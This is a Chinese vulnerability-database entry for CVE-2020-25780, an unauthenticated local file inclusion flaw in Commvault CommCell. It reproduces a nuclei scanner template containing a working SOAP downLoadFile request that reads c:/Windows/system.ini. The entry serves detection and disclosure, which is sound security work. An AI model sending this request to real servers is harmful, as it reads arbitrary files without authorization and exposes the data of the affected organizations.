Commvault CommCell Local File Inclusion Vulnerability

漏洞信息

漏洞名称： Commvault CommCell Local File Inclusion Vulnerability

漏洞编号：

• CVE： CVE-2020-25780

漏洞类型： 文件读取

漏洞等级： 高危

漏洞描述： Commvault CommCell是一款广泛使用的企业级数据备份和恢复解决方案，广泛应用于各种规模的组织中，用于保护关键数据免受丢失或损坏。该产品支持多种平台和环境，是企业数据管理策略中的重要组成部分。此次发现的本地文件包含漏洞（CVE-2020-25780）影响了Commvault CommCell的多个版本，包括14.68之前、15.x至15.58之前、16.x至16.44之前、17.x至17.29之前以及18.x至18.13之前的版本。漏洞的技术根源在于攻击者可以通过构造特定的SOAP请求，利用系统对文件路径验证不足的缺陷，读取系统上的敏感文件，如c:/Windows/system.ini。这种漏洞属于文件读取类型，攻击者无需认证即可远程利用，导致敏感信息泄露。成功利用此漏洞的攻击者可以访问系统上的任意文件，可能导致数据泄露、系统配置信息暴露等安全风险。由于该漏洞的利用门槛较低，且影响范围广泛，因此被评定为高危漏洞。建议用户尽快应用Commvault提供的最新安全补丁或更新，以修复此漏洞。

产品厂商： commvault

产品名称： commcell

影响版本： before 14.68, 15.x before 15.58, 16.x before 16.44, 17.x before 17.29, and 18.x before 18.13

来源： https://github.com/projectdiscovery/nuclei-templates/blob/3442666f0f77cfb9c0212eb8044484062643effd/http%2Fcves%2F2020%2FCVE-2020-25780.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: CVE-2020-25780

info:
  name: Commvault CommCell - Local File Inclusion
  author: pdteam, NaN-KoreLogic
  severity: high
  description: CommCell in Commvault before 14.68, 15.x before 15.58, 16.x before 16.44, 17.x before 17.29, and 18.x before 18.13 are vulnerable to local file inclusion because an attacker can view a log file can instead view a file outside of the log-files folder.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the system.
  remediation: |
    Apply the latest security patches or updates provided by Commvault to fix the local file inclusion vulnerability.
  reference:
    - https://srcincite.io/blog/2021/11/22/unlocking-the-vault.html
    - http://kb.commvault.com/article/63264
    - https://nvd.nist.gov/vuln/detail/CVE-2020-25780
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-25780
    cwe-id: CWE-22
    epss-score: 0.41514
    epss-percentile: 0.97268
    cpe: cpe:2.3:a:commvault:commcell:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: commvault
    product: commcell
  tags: cve,cve2020,commvault,lfi

http:
  - method: POST
    path:
      - "http://{{Host}}:{{Port}}/SearchSvc/CVSearchService.svc"

    body: |
      <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
         <soapenv:Header/>
         <soapenv:Body>
            <tem:downLoadFile>
               <tem:path>c:/Windows/system.ini</tem:path>
            </tem:downLoadFile>
         </soapenv:Body>
      </soapenv:Envelope>

    headers:
      Cookie: Login
      soapaction: http://tempuri.org/ICVSearchSvc/downLoadFile
      content-type: text/xml

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "downLoadFileResult"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100fbd4f2a465f1231e1ecb2f0730dcc184b1fe559aac2bf8ac19636f5dcf3c24a502201a82b6e695b2eafa62222aa1338fe7db5748bcbcda53d47551e49bc953433bde:922c64590222798bb761d5b6d8e72950